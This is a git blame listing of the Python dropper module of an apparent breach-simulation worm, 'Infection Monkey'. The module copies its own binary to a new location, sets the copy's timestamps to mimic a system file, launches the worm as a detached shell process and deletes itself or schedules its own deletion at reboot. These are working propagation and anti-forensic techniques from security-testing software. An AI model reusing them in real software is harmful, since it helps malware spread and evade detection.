monkey/infection_monkey/dropper.py

158 lines
6.6 KiB
Python
Raw Normal View History

2017-10-01 23:03:33 +08:00
import argparse
2015-08-30 15:27:35 +08:00
import ctypes
import logging
2017-10-01 23:03:33 +08:00
import os
import pprint
import shutil
2015-08-30 15:27:35 +08:00
import subprocess
2017-10-01 23:03:33 +08:00
import sys
import time
2015-08-30 15:27:35 +08:00
from ctypes import c_char_p
2017-09-04 19:52:24 +08:00
2017-10-01 23:03:33 +08:00
from config import WormConfiguration
2017-09-04 19:52:24 +08:00
from exploit.tools import build_monkey_commandline_explicitly
2017-08-28 15:41:11 +08:00
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
2017-08-28 14:41:27 +08:00
from system_info import SystemInfoCollector, OperatingSystem
2015-08-30 15:27:35 +08:00
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
2017-09-28 22:56:34 +08:00
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
2015-08-30 15:27:35 +08:00
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
MOVEFILE_DELAY_UNTIL_REBOOT = 4
2015-08-30 15:27:35 +08:00
class MonkeyDrops(object):
def __init__(self, args):
2017-08-28 00:18:11 +08:00
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
2018-04-12 00:07:03 +08:00
arg_parser.add_argument('-d', '--depth', type=int)
2017-08-28 00:18:11 +08:00
arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
2015-08-30 15:27:35 +08:00
self._config = {'source_path': os.path.abspath(sys.argv[0]),
2017-08-28 00:18:11 +08:00
'destination_path': self.opts.location}
2015-08-30 15:27:35 +08:00
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
2017-08-28 00:18:11 +08:00
if self._config['destination_path'] is None:
2017-09-04 19:52:24 +08:00
LOG.error("No destination path specified")
return False
2017-08-28 00:18:11 +08:00
2015-08-30 15:27:35 +08:00
# we copy/move only in case path is different
2018-04-12 00:07:03 +08:00
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
2015-08-30 15:27:35 +08:00
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])
2015-08-30 15:27:35 +08:00
# first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first:
try:
shutil.move(self._config['source_path'],
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
2017-10-01 23:03:33 +08:00
self._config['source_path'], self._config['destination_path'])
2015-08-30 15:27:35 +08:00
file_moved = True
2017-09-28 22:56:34 +08:00
except (WindowsError, IOError, OSError) as exc:
2015-08-30 15:27:35 +08:00
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
# if file still need to change path, copy it
if not file_moved:
try:
shutil.copy(self._config['source_path'],
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
2017-10-01 23:03:33 +08:00
self._config['source_path'], self._config['destination_path'])
2017-09-28 22:56:34 +08:00
except (WindowsError, IOError, OSError) as exc:
2015-08-30 15:27:35 +08:00
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
return False
if WormConfiguration.dropper_set_date:
2017-09-27 16:24:42 +08:00
if sys.platform == 'win32':
dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows)
else:
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
2015-08-30 15:27:35 +08:00
try:
2017-09-27 16:24:42 +08:00
ref_stat = os.stat(dropper_date_reference_path)
2017-10-01 23:03:33 +08:00
except OSError as exc:
2015-08-30 15:27:35 +08:00
LOG.warn("Cannot set reference date using '%s', file not found",
2017-09-27 16:24:42 +08:00
dropper_date_reference_path)
2015-08-30 15:27:35 +08:00
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
LOG.warn("Cannot set reference date to destination file")
2018-04-12 00:07:03 +08:00
monkey_options =\
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
2017-08-28 15:41:11 +08:00
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else:
dest_path = self._config['destination_path']
2017-09-04 19:52:24 +08:00
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
2017-08-28 15:41:11 +08:00
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
2017-09-04 19:52:24 +08:00
'monkey_commandline': inner_monkey_cmdline}
2017-08-28 14:41:27 +08:00
2015-08-30 15:27:35 +08:00
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(3)
if monkey_process.poll() is not None:
LOG.warn("Seems like monkey died too soon")
def cleanup(self):
try:
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:
2015-08-30 15:27:35 +08:00
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
except AttributeError:
LOG.error("Invalid configuration options. Failing")